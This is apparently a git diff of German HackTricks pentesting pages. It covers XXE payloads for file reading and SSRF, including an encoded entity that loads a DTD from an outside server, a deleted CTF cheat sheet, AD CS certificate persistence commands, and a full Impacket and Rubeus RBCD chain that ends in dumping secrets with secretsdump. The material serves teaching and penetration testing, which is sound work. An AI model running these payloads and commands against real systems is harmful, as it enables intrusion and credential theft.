Beachten Sie, dass die verwendeten **HTML Entities** **numerisch** sein müssen (wie \[in diesem Beispiel]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
@ -609,7 +609,7 @@ Verwendung des PHP base64-Filters
```
## Java XMLDecoder XEE zu RCE
XMLDecoder ist eine Java-Klasse, die Objekte basierend auf einer XML-Nachricht erstellt. Wenn ein böswilliger Benutzer eine Anwendung dazu bringen kann, willkürliche Daten in einem Aufruf der Methode **readObject** zu verwenden, erhält er sofort die Möglichkeit zur Codeausführung auf dem Server.
XMLDecoder ist eine Java-Klasse, die Objekte basierend auf einer XML-Nachricht erstellt. Wenn ein böswilliger Benutzer es schafft, eine Anwendung dazu zu bringen, willkürliche Daten in einem Aufruf der Methode **readObject** zu verwenden, erhält er sofort die Möglichkeit zur Codeausführung auf dem Server.
### Verwendung von Runtime().exec()
```xml
@ -687,13 +687,13 @@ https://github.com/luisfontes19/xxexploiter
> Die Python-Bibliothek **lxml** verwendet **libxml2** im Hintergrund. Versionen vor **lxml 5.4.0 / libxml2 2.13.8** erweitern weiterhin *Parameter*-Entitäten, selbst wenn `resolve_entities=False` gesetzt ist, wodurch sie erreichbar sind, wenn die Anwendung `load_dtd=True` und/oder `resolve_entities=True` aktiviert. Dies ermöglicht fehlerbasierte XXE-Payloads, die den Inhalt lokaler Dateien in die Parser-Fehlermeldung einbetten.
#### 1. Ausnutzen von lxml < 5.4.0
1. Identifiziere oder erstelle eine *lokale* DTD auf der Festplatte, die eine **undefinierte** Parameterentität definiert (z. B. `%config_hex;`).
1. Identifiziere oder erstelle eine *lokale* DTD auf der Festplatte, die eine **undefinierte** Parameterentität definiert (z.B. `%config_hex;`).
2. Erstelle eine interne DTD, die:
* Die lokale DTD mit `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">` lädt.
* Die undefinierte Entität so umdefiniert, dass sie:
- Die Zieldatei liest (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
- Eine weitere Parameterentität erstellt, die auf einen **ungültigen Pfad** verweist, der den Wert `%flag;` enthält und einen Parserfehler auslöst (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
3. Schließlich erweitere `%local_dtd;` und `%eval;`, sodass der Parser auf `%error;` stößt, `/aaa/<FLAG>` nicht öffnen kann und das Flag innerhalb der ausgelösten Ausnahme preisgibt was oft von der Anwendung an den Benutzer zurückgegeben wird.
3. Schließlich erweitere `%local_dtd;` und `%eval;`, sodass der Parser auf `%error;` stößt, nicht in der Lage ist, `/aaa/<FLAG>` zu öffnen und das Flag innerhalb der ausgelösten Ausnahme leakt was oft von der Anwendung an den Benutzer zurückgegeben wird.
```xml
<!DOCTYPE colors [
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
@ -709,13 +709,13 @@ Wenn die Anwendung die Ausnahme ausgibt, enthält die Antwort:
Error : failed to load external entity "file:///aaa/FLAG{secret}"
```
> [!TIP]
> Wenn der Parser sich über `%`/`&`-Zeichen im internen Teil beschwert, kodieren Sie sie doppelt (`&#x26;#x25;``%`), um die Expansion zu verzögern.
> Wenn der Parser sich über `%`/`&`-Zeichen im internen Teil beschwert, kodieren Sie sie doppelt (`&#x26;#x25;``%`), um die Erweiterung zu verzögern.
#### 2. Umgehung der lxml 5.4.0-Härtung (libxml2 weiterhin anfällig)
`lxml` ≥ 5.4.0 verbietet *error* Parameterentitäten wie die oben genannte, aber **libxml2** erlaubt es weiterhin, sie in einer *allgemeinen* Entität einzubetten. Der Trick besteht darin:
1. Lesen Sie die Datei in eine Parameterentität `%file`.
2. Deklarieren Sie eine weitere Parameterentität, die eine **allgemeine** Entität `c` erstellt, deren SYSTEM-Identifikator ein *nicht existierendes Protokoll* wie `meow://%file;` verwendet.
3. Platzieren Sie `&c;` im XML-Körper. Wenn der Parser versucht, `meow://…` zu dereferenzieren, schlägt er fehl und spiegelt die vollständige URI einschließlich des Dateiinhalts in der Fehlermeldung wider.
`lxml` ≥ 5.4.0 verbietet *error*-Parameterentitäten wie die oben genannte, aber **libxml2** erlaubt es weiterhin, sie in einer *allgemeinen* Entität einzubetten. Der Trick besteht darin:
1. Die Datei in eine Parameterentität `%file` zu lesen.
2. Eine weitere Parameterentität zu deklarieren, die eine **allgemeine** Entität `c` erstellt, deren SYSTEM-Identifikator ein *nicht existierendes Protokoll* wie `meow://%file;` verwendet.
3. `&c;` im XML-Body zu platzieren. Wenn der Parser versucht, `meow://…` zu dereferenzieren, schlägt es fehl und spiegelt die vollständige URI einschließlich des Dateiinhalts in der Fehlermeldung wider.
```xml
<!DOCTYPE colors [
<!ENTITY % a '
@ -772,11 +772,11 @@ Fallstudie aus der Praxis: **CVE-2025-27136** im Java S3-Emulator *LocalS3* verw
Einige Druck-Workflow-/Orchestrierungsplattformen bieten einen netzwerkseitigen Job Messaging Format (JMF) Listener, der XML über TCP akzeptiert. Wenn der zugrunde liegende Parser ein `DOCTYPE` akzeptiert und externe Entitäten auflöst, können Sie ein klassisches XXE ausnutzen, um den Server zu zwingen, ausgehende Anfragen zu stellen (SSRF) oder auf lokale Ressourcen zuzugreifen.
Wichtige Punkte, die in der Wildnis beobachtet wurden:
- Netzwerk-Listener (z. B. JMF-Client) an einem dedizierten Port (häufig 4004 in Xerox FreeFlow Core).
- Netzwerk-Listener (z. B. JMF-Client) auf einem dedizierten Port (gewöhnlich 4004 in Xerox FreeFlow Core).
- Java-basiertes XML-Parsen innerhalb eines JARs (z. B. `jmfclient.jar`) ohne `disallow-doctype-decl` oder deaktivierte Entitätsauflösung.
- Out-of-band-Callbacks bestätigen zuverlässig die Ausnutzung.
- Out-of-Band-Callbacks bestätigen zuverlässig die Ausnutzung.
Minimaler JMF-Stil SSRF-Probe (Struktur variiert je nach Produkt, aber das DOCTYPE ist entscheidend):
Minimale JMF-Stil SSRF-Abfrage (Struktur variiert je nach Produkt, aber der DOCTYPE ist entscheidend):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE JMF [
@ -807,9 +807,9 @@ Referenzen für diesen Vektor sind am Ende der Seite aufgeführt.
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
- [Dojo CTF Challenge #42 Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
- [lxml bug #2107279 Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
- [Horizon3.ai From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox FreeFlow Core Security Guide (architecture/ports)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf)
- [Xerox Security Bulletin 025-013 FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
- [lxml bug #2107279 Parameter-entity XXE immer noch möglich](https://bugs.launchpad.net/lxml/+bug/2107279)
- [Horizon3.ai Vom Support-Ticket zum Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox FreeFlow Core Sicherheitsleitfaden (Architektur/Ports)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf)
- [Xerox Sicherheitsbulletin 025-013 FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
{{#include ../banners/hacktricks-training.md}}

View File

@ -18,7 +18,7 @@ Sobald geflasht, öffnen Sie den seriellen Monitor bei 115200 Baud und senden Si
- `l` Schleifen finden, um Fehlalarme zu vermeiden
- `r` interne Pull-Ups umschalten, falls erforderlich
- `s` nach TCK/TMS/TDI/TDO (und manchmal TRST/SRST) scannen
- `y` IR brute-forcen, um undokumentierte Opcodes zu entdecken
- `y` IR brute-forcen, um nicht dokumentierte Opcodes zu entdecken
- `x` Boundary-Scan-Snapshot der Pin-Zustände
![](<../../images/image (939).png>)
@ -95,20 +95,20 @@ jtag> instruction EXTEST
jtag> shift ir
jtag> dr <bit pattern for boundary register>
```
Du benötigst die BSDL des Geräts, um die Bitreihenfolge der Boundary-Register zu kennen. Beachte, dass einige Anbieter Boundary-Scan-Zellen in der Produktion sperren.
Sie benötigen die BSDL des Geräts, um die Bitreihenfolge der Boundary-Register zu kennen. Beachten Sie, dass einige Anbieter Boundary-Scan-Zellen in der Produktion sperren.
## Moderne Ziele und Hinweise
- ESP32S3/C3 verfügen über eine native USBJTAG-Brücke; OpenOCD kann direkt über USB ohne externen Proben sprechen. Sehr praktisch für Triage und Dumps.
- RISCV-Debug (v0.13+) wird von OpenOCD weitgehend unterstützt; bevorzuge SBA für den Speicherzugriff, wenn der Kern nicht sicher angehalten werden kann.
- RISCV-Debug (v0.13+) wird von OpenOCD weitgehend unterstützt; bevorzugen Sie SBA für den Speicherzugriff, wenn der Kern nicht sicher angehalten werden kann.
- Viele MCUs implementieren Debug-Authentifizierung und Lebenszykluszustände. Wenn JTAG tot erscheint, aber die Stromversorgung korrekt ist, könnte das Gerät in einen geschlossenen Zustand gefused sein oder erfordert eine authentifizierte Probe.
## Abwehrmaßnahmen und Härtung (was man bei echten Geräten erwarten kann)
- JTAG/SWD in der Produktion dauerhaft deaktivieren oder sperren (z. B. STM32 RDP Level 2, ESP eFuses, die PAD JTAG deaktivieren, NXP/Nordic APPROTECT/DPAP).
- Authentifizierte Debugging-Anforderungen (ARMv8.2A ADIv6 Debug-Authentifizierung, OEM-gesteuertes Challenge-Response) bei gleichzeitiger Beibehaltung des Zugangs zur Fertigung.
- Keine einfachen Testpads routen; Testvias vergraben, Widerstände entfernen/platzieren, um TAP zu isolieren, Connectoren mit Codierung oder Pogo-Pin-Befestigungen verwenden.
- Power-on-Debug-Sperre: Schalte den TAP hinter einem frühen ROM, das den sicheren Bootvorgang durchsetzt.
- Keine einfachen Testpads routen; Testvias vergraben, Widerstände entfernen/bestücken, um TAP zu isolieren, Connectoren mit Codierung oder Pogo-Pin-Befestigungen verwenden.
- Power-on-Debug-Sperre: Schalten Sie den TAP hinter einem frühen ROM, das einen sicheren Bootvorgang durchsetzt.
## Referenzen

View File

@ -1,58 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
In einer Ping-Antwort TTL:\
127 = Windows\
254 = Cisco\
Der Rest, irgendein Linux
$1$- md5\
$2$oder $2a$ - Blowfish\
$5$- sha256\
$6$- sha512
Wenn Sie nicht wissen, was hinter einem Dienst steckt, versuchen Sie, eine HTTP GET-Anfrage zu stellen.
**UDP-Scans**\
nc -nv -u -z -w 1 \<IP> 160-16
Ein leeres UDP-Paket wird an einen bestimmten Port gesendet. Wenn der UDP-Port offen ist, wird keine Antwort von der Zielmaschine zurückgesendet. Wenn der UDP-Port geschlossen ist, sollte ein ICMP-Port-unreachable-Paket von der Zielmaschine zurückgesendet werden.\
UDP-Port-Scans sind oft unzuverlässig, da Firewalls und Router ICMP-Pakete möglicherweise verwerfen.\
Dies kann zu falsch positiven Ergebnissen in Ihrem Scan führen, und Sie werden regelmäßig sehen, dass\
UDP-Port-Scans alle UDP-Ports auf einer gescannten Maschine als offen anzeigen.\
o Die meisten Port-Scanner scannen nicht alle verfügbaren Ports und haben normalerweise eine vordefinierte Liste\
von „interessanten Ports“, die gescannt werden.
# CTF - Tricks
In **Windows** verwenden Sie **Winzip**, um nach Dateien zu suchen.\
**Alternative Datenströme**: _dir /r | find ":$DATA"_\
```
binwalk --dd=".*" <file> #Extract everything
binwalk -M -e -d=10000 suspicious.pdf #Extract, look inside extracted files and continue extracing (depth of 10000)
```
## Crypto
**featherduster**\
**Basae64**(6—>8) —> 0...9, a...z, A…Z,+,/\
**Base32**(5 —>8) —> A…Z, 2…7\
**Base85** (Ascii85, 7—>8) —> 0...9, a...z, A...Z, ., -, :, +, =, ^, !, /, \*, ?, &, <, >, (, ), \[, ], {, }, @, %, $, #\
**Uuencode** --> Beginne mit "_begin \<mode> \<filename>_" und seltsamen Zeichen\
**Xxencoding** --> Beginne mit "_begin \<mode> \<filename>_" und B64\
\
**Vigenere** (Frequenzanalyse) —> [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)\
**Scytale** (Versatz von Zeichen) —> [https://www.dcode.fr/scytale-cipher](https://www.dcode.fr/scytale-cipher)
**25x25 = QR**
factordb.com\
rsatool
Snow --> Nachrichten mit Leerzeichen und Tabs verstecken
# Characters
%E2%80%AE => RTL-Zeichen (schreibt Payloads rückwärts)
{{#include ../banners/hacktricks-training.md}}

View File

@ -36,7 +36,7 @@ certipy auth -pfx user.pfx -dc-ip 10.0.0.10
## Maschinenpersistenz mit Zertifikaten erlangen - PERSIST2
Wenn ein Angreifer erhöhte Berechtigungen auf einem Host hat, kann er das Maschinenkonto des kompromittierten Systems für ein Zertifikat mit der Standardvorlage `Machine` registrieren. Die Authentifizierung als Maschine ermöglicht S4U2Self für lokale Dienste und kann eine dauerhafte Maschinenpersistenz bieten:
Wenn ein Angreifer erhöhte Berechtigungen auf einem Host hat, kann er das Maschinenkonto des kompromittierten Systems mit dem Standard-`Machine`-Template für ein Zertifikat registrieren. Die Authentifizierung als Maschine ermöglicht S4U2Self für lokale Dienste und kann eine dauerhafte Maschinenpersistenz bieten:
```bash
# Request a machine certificate as SYSTEM
Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine
@ -57,7 +57,7 @@ certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
# (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair)
certreq -enroll -user -cert <SerialOrID> renew [reusekeys]
```
> Betrieblicher Tipp: Verfolgen Sie die Laufzeiten von von Angreifern gehaltenen PFX-Dateien und erneuern Sie diese frühzeitig. Eine Erneuerung kann auch dazu führen, dass aktualisierte Zertifikate die moderne SID-Mapping-Erweiterung enthalten, wodurch sie unter strengeren DC-Mapping-Regeln verwendbar bleiben (siehe nächster Abschnitt).
> Betrieblicher Tipp: Verfolgen Sie die Laufzeiten von von Angreifern gehaltenen PFX-Dateien und erneuern Sie diese frühzeitig. Die Erneuerung kann auch dazu führen, dass aktualisierte Zertifikate die moderne SID-Mapping-Erweiterung enthalten, wodurch sie unter strengeren DC-Mapping-Regeln verwendbar bleiben (siehe nächster Abschnitt).
## Pflanzung expliziter Zertifikat-Mappings (altSecurityIdentities) PERSIST4
@ -109,22 +109,22 @@ Certify.exe request /ca:CA-SERVER\CA-NAME /template:User \
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
-template 'User' -on-behalf-of 'CORP/victim' -pfx agent.pfx -out victim_onbo.pfx
```
Die Widerrufung des Agentenzertifikats oder der Berechtigungen für Vorlagen ist erforderlich, um diese Persistenz zu beseitigen.
Die Widerrufung des Agentenzertifikats oder der Vorlagenberechtigungen ist erforderlich, um diese Persistenz zu beseitigen.
## 2025 Starke Durchsetzung der Zertifikatzuordnung: Auswirkungen auf die Persistenz
## 2025 Starke Zertifikatzuordnungsdurchsetzung: Auswirkungen auf die Persistenz
Microsoft KB5014754 führte die starke Durchsetzung der Zertifikatzuordnung auf Domänencontrollern ein. Seit dem 11. Februar 2025 verwenden DCs standardmäßig die vollständige Durchsetzung und lehnen schwache/mehrdeutige Zuordnungen ab. Praktische Auswirkungen:
Microsoft KB5014754 führte die starke Zertifikatzuordnungsdurchsetzung auf Domänencontrollern ein. Seit dem 11. Februar 2025 verwenden DCs standardmäßig die vollständige Durchsetzung und lehnen schwache/mehrdeutige Zuordnungen ab. Praktische Auswirkungen:
- Zertifikate vor 2022, die die SID-Zuordnungs-Erweiterung nicht haben, können bei vollständiger Durchsetzung durch DCs an impliziter Zuordnung scheitern. Angreifer können den Zugriff aufrechterhalten, indem sie entweder Zertifikate über AD CS erneuern (um die SID-Erweiterung zu erhalten) oder eine starke explizite Zuordnung in `altSecurityIdentities` (PERSIST4) einfügen.
- Explizite Zuordnungen mit starken Formaten (Issuer+Serial, SKI, SHA1-PublicKey) funktionieren weiterhin. Schwache Formate (Issuer/Subject, nur Subject, RFC822) können blockiert werden und sollten für Persistenz vermieden werden.
- Zertifikate vor 2022, die die SID-Zuordnungs-Erweiterung nicht haben, können bei DCs in vollständiger Durchsetzung die implizite Zuordnung fehlschlagen. Angreifer können den Zugriff aufrechterhalten, indem sie entweder Zertifikate über AD CS erneuern (um die SID-Erweiterung zu erhalten) oder eine starke explizite Zuordnung in `altSecurityIdentities` (PERSIST4) einfügen.
- Explizite Zuordnungen mit starken Formaten (Issuer+Serial, SKI, SHA1-PublicKey) funktionieren weiterhin. Schwache Formate (Issuer/Subject, nur Subject, RFC822) können blockiert werden und sollten für die Persistenz vermieden werden.
Administratoren sollten überwachen und alarmieren bei:
- Änderungen an `altSecurityIdentities` und der Ausstellung/Erneuerung von Enrollment-Agent- und Benutzerzertifikaten.
- CA-Ausgabeloggen für Anfragen im Namen von und ungewöhnlichen Erneuerungsmustern.
- CA-Ausgabelogs für Anfragen im Namen von und ungewöhnliche Erneuerungsmuster.
## Referenzen
- Microsoft. KB5014754: Änderungen bei der zertifikatbasierten Authentifizierung auf Windows-Domänencontrollern (Durchsetzungszeitplan und starke Zuordnungen).
- Microsoft. KB5014754: Änderungen der zertifikatbasierten Authentifizierung auf Windows-Domänencontrollern (Durchsetzungszeitplan und starke Zuordnungen).
https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
- Certipy Wiki Befehlsreferenz (`req -renew`, `auth`, `shadow`).
https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference

View File

@ -9,14 +9,14 @@ Dies ist ähnlich wie die grundlegende [Eingeschränkte Delegation](constrained-
In diesem Fall hat das eingeschränkte Objekt ein Attribut namens _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ mit dem Namen des Benutzers, der jeden anderen Benutzer gegen es impersonieren kann.
Ein weiterer wichtiger Unterschied zwischen dieser eingeschränkten Delegation und den anderen Delegationen ist, dass jeder Benutzer mit **Schreibberechtigungen über ein Maschinenkonto** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) das **_msDS-AllowedToActOnBehalfOfOtherIdentity_** setzen kann (Bei den anderen Formen der Delegation benötigten Sie Domain-Admin-Rechte).
Ein weiterer wichtiger Unterschied dieser eingeschränkten Delegation zu anderen Delegationen ist, dass jeder Benutzer mit **Schreibberechtigungen über ein Maschinenkonto** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) das **_msDS-AllowedToActOnBehalfOfOtherIdentity_** setzen kann (Bei den anderen Formen der Delegation benötigten Sie Domain-Admin-Rechte).
### Neue Konzepte
Bei der eingeschränkten Delegation wurde gesagt, dass die **`TrustedToAuthForDelegation`**-Flagge im _userAccountControl_-Wert des Benutzers erforderlich ist, um eine **S4U2Self**-Anfrage durchzuführen. Aber das ist nicht ganz richtig.\
Die Realität ist, dass Sie auch ohne diesen Wert eine **S4U2Self**-Anfrage gegen jeden Benutzer durchführen können, wenn Sie ein **Dienst** (einen SPN haben) sind, aber wenn Sie **`TrustedToAuthForDelegation`** haben, wird das zurückgegebene TGS **Forwardable** sein, und wenn Sie **diese Flagge nicht haben**, wird das zurückgegebene TGS **nicht** **Forwardable** sein.
Wenn das **TGS**, das in **S4U2Proxy** verwendet wird, **NICHT Forwardable** ist, wird der Versuch, eine **grundlegende eingeschränkte Delegation** auszunutzen, **nicht funktionieren**. Aber wenn Sie versuchen, eine **ressourcengestützte eingeschränkte Delegation** auszunutzen, wird es **funktionieren**.
Wenn das **TGS**, das in **S4U2Proxy** verwendet wird, **NICHT Forwardable** ist, wird der Versuch, eine **grundlegende eingeschränkte Delegation** auszunutzen, **nicht funktionieren**. Aber wenn Sie versuchen, eine **ressourcengestützte eingeschränkte Delegation auszunutzen, wird es funktionieren**.
### Angriffsstruktur
@ -30,7 +30,7 @@ Angenommen, der Angreifer hat bereits **schreibäquivalente Berechtigungen über
1. S4U2Self (vom kompromittierten/erstellten SPN-Konto): Fordern Sie ein **TGS von Administrator an** (Nicht Forwardable).
2. S4U2Proxy: Verwenden Sie das **nicht Forwardable TGS** aus dem vorherigen Schritt, um ein **TGS** von **Administrator** zum **Opferhost** anzufordern.
3. Selbst wenn Sie ein nicht Forwardable TGS verwenden, wird es funktionieren, da Sie die ressourcengestützte eingeschränkte Delegation ausnutzen.
4. Der Angreifer kann das **Ticket übergeben** und den Benutzer **impersonieren**, um **Zugriff auf den Opfer-ServiceB** zu erhalten.
4. Der Angreifer kann das **Ticket weitergeben** und den Benutzer **impersonieren**, um **Zugriff auf den Opfer-ServiceB** zu erhalten.
Um das _**MachineAccountQuota**_ der Domäne zu überprüfen, können Sie Folgendes verwenden:
```bash
@ -50,7 +50,7 @@ Get-DomainComputer SERVICEA
```
### Konfigurieren der ressourcenbasierten eingeschränkten Delegation
**Verwendung des Active Directory PowerShell-Moduls**
**Verwendung des PowerShell-Moduls activedirectory**
```bash
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
@ -70,7 +70,7 @@ msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}
```
### Durchführung eines vollständigen S4U-Angriffs
### Durchführung eines vollständigen S4U-Angriffs (Windows/Rubeus)
Zunächst haben wir das neue Computerobjekt mit dem Passwort `123456` erstellt, daher benötigen wir den Hash dieses Passworts:
```bash
@ -88,9 +88,33 @@ rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:admin
> [!CAUTION]
> Beachten Sie, dass Benutzer ein Attribut namens "**Kann nicht delegiert werden**" haben. Wenn ein Benutzer dieses Attribut auf Wahr hat, können Sie ihn nicht impersonieren. Dieses Attribut kann in BloodHound gesehen werden.
### Linux-Tools: End-to-End RBCD mit Impacket (2024+)
Wenn Sie von Linux aus arbeiten, können Sie die vollständige RBCD-Kette mit den offiziellen Impacket-Tools durchführen:
```bash
# 1) Create attacker-controlled machine account (respects MachineAccountQuota)
impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ss123' -dc-ip 192.168.56.10 'domain.local/jdoe:Summer2025!'
# 2) Grant RBCD on the target computer to FAKE01$
# -action write appends/sets the security descriptor for msDS-AllowedToActOnBehalfOfOtherIdentity
impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -dc-ip 192.168.56.10 -action write 'domain.local/jdoe:Summer2025!'
# 3) Request an impersonation ticket (S4U2Self+S4U2Proxy) for a privileged user against the victim service
impacket-getST -spn cifs/victim.domain.local -impersonate Administrator -dc-ip 192.168.56.10 'domain.local/FAKE01$:P@ss123'
# 4) Use the ticket (ccache) against the target service
export KRB5CCNAME=$(pwd)/Administrator.ccache
# Example: dump local secrets via Kerberos (no NTLM)
impacket-secretsdump -k -no-pass Administrator@victim.domain.local
```
Notizen
- Wenn LDAP-Signierung/LDAPS durchgesetzt ist, verwenden Sie `impacket-rbcd -use-ldaps ...`.
- Bevorzugen Sie AES-Schlüssel; viele moderne Domänen schränken RC4 ein. Impacket und Rubeus unterstützen beide AES-Only-Flows.
- Impacket kann den `sname` ("AnySPN") für einige Tools umschreiben, aber erhalten Sie das korrekte SPN, wann immer es möglich ist (z. B. CIFS/LDAP/HTTP/HOST/MSSQLSvc).
### Zugriff
Die letzte Befehlszeile führt den **kompletten S4U-Angriff aus und injiziert das TGS** vom Administrator auf den Zielhost in **Speicher**.\
Die letzte Befehlszeile führt den **vollständigen S4U-Angriff durch und injiziert das TGS** vom Administrator in den Opfer-Host in **den Arbeitsspeicher**.\
In diesem Beispiel wurde ein TGS für den **CIFS**-Dienst vom Administrator angefordert, sodass Sie auf **C$** zugreifen können:
```bash
ls \\victim.domain.local\C$
@ -99,15 +123,70 @@ ls \\victim.domain.local\C$
Erfahren Sie mehr über die [**verfügbaren Diensttickets hier**](silver-ticket.md#available-services).
## Auflisten, Überprüfen und Bereinigen
### Computer mit konfiguriertem RBCD auflisten
PowerShell (Dekodierung des SD zur Auflösung von SIDs):
```powershell
# List all computers with msDS-AllowedToActOnBehalfOfOtherIdentity set and resolve principals
Import-Module ActiveDirectory
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
Where-Object { $_."msDS-AllowedToActOnBehalfOfOtherIdentity" } |
ForEach-Object {
$raw = $_."msDS-AllowedToActOnBehalfOfOtherIdentity"
$sd = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $raw, 0
$sd.DiscretionaryAcl | ForEach-Object {
$sid = $_.SecurityIdentifier
try { $name = $sid.Translate([System.Security.Principal.NTAccount]) } catch { $name = $sid.Value }
[PSCustomObject]@{ Computer=$_.ObjectDN; Principal=$name; SID=$sid.Value; Rights=$_.AccessMask }
}
}
```
Impacket (lesen oder mit einem Befehl leeren):
```bash
# Read who can delegate to VICTIM
impacket-rbcd -delegate-to 'VICTIM$' -action read 'domain.local/jdoe:Summer2025!'
```
### Bereinigung / Zurücksetzen von RBCD
- PowerShell (Attribut löschen):
```powershell
Set-ADComputer $targetComputer -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity'
# Or using the friendly property
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount $null
```
- Impacket:
```bash
# Remove a specific principal from the SD
impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -action remove 'domain.local/jdoe:Summer2025!'
# Or flush the whole list
impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025!'
```
## Kerberos-Fehler
- **`KDC_ERR_ETYPE_NOTSUPP`**: Dies bedeutet, dass Kerberos so konfiguriert ist, dass es DES oder RC4 nicht verwendet, und Sie nur den RC4-Hash bereitstellen. Stellen Sie Rubeus mindestens den AES256-Hash zur Verfügung (oder geben Sie ihm einfach die rc4-, aes128- und aes256-Hashes). Beispiel: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
- **`KDC_ERR_ETYPE_NOTSUPP`**: Dies bedeutet, dass Kerberos so konfiguriert ist, dass es DES oder RC4 nicht verwendet, und Sie nur den RC4-Hash bereitstellen. Geben Sie Rubeus mindestens den AES256-Hash (oder einfach die rc4-, aes128- und aes256-Hashes) an. Beispiel: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
- **`KRB_AP_ERR_SKEW`**: Dies bedeutet, dass die Uhrzeit des aktuellen Computers von der des DC abweicht und Kerberos nicht richtig funktioniert.
- **`preauth_failed`**: Dies bedeutet, dass der angegebene Benutzername + Hashes nicht funktionieren, um sich anzumelden. Möglicherweise haben Sie vergessen, das "$" im Benutzernamen anzugeben, als Sie die Hashes generiert haben (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
- **`KDC_ERR_BADOPTION`**: Dies kann bedeuten:
- Der Benutzer, den Sie zu impersonieren versuchen, kann nicht auf den gewünschten Dienst zugreifen (weil Sie ihn nicht impersonieren können oder weil er nicht über ausreichende Berechtigungen verfügt)
- Der angeforderte Dienst existiert nicht (wenn Sie nach einem Ticket für winrm fragen, aber winrm nicht läuft)
- Der angeforderte Dienst existiert nicht (wenn Sie ein Ticket für winrm anfordern, aber winrm nicht läuft)
- Der erstellte Fakecomputer hat seine Berechtigungen über den verwundbaren Server verloren und Sie müssen sie zurückgeben.
- Sie missbrauchen klassisches KCD; denken Sie daran, dass RBCD mit nicht weiterleitbaren S4U2Self-Tickets funktioniert, während KCD weiterleitbare erfordert.
